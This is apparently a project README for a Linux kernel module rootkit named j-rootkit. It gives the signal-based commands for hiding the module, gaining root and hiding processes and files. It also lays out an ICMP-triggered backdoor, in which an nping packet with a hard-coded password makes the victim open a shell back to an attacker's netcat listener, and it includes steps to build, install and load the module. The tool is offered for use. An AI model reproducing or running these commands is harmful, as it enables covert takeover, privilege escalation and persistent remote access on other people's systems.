jakeginesin/j-rootkit

A linux kernel module rootkit w/ an ICMP backdoor

j-rootkit

Tested on Ubuntu 22.04 and Debian 12.4

Usage

Hide/Show rootkit in the list of loaded modules ($ lsmod)

$ kill -63 1

When installed it starts hidden. You can only remove it when it's unhidden.

Become root:

$ kill -64 1

Hide process with pid

$ kill -62 <pid>

Unhide process with pid

$ kill -61 <pid>

It also hides every file and directory with prefix rootk_.

Backdoor

On attacker machine start netcat listener on some port:

$ nc -lnvp <port>

Send ICMP ping to victim:

$ nping --icmp -c 1 -dest-ip <victim-ip> --data-string 'wA@2mC!dq <attacker-ip> <port>'

Install

Compile module and backdoor:

$ make
$ make install

Load module:

$ sudo insmod build/rootkit.ko

Remove

Make sure the module is visible in lsmod. To toggle visibility do kill -63 1. Then, remove it with:

$ sudo rmmod rootkit.ko

References

• Nearly Complete Linux Loadable Kernel Modules
• linux kernel hacking repo
• diamorphine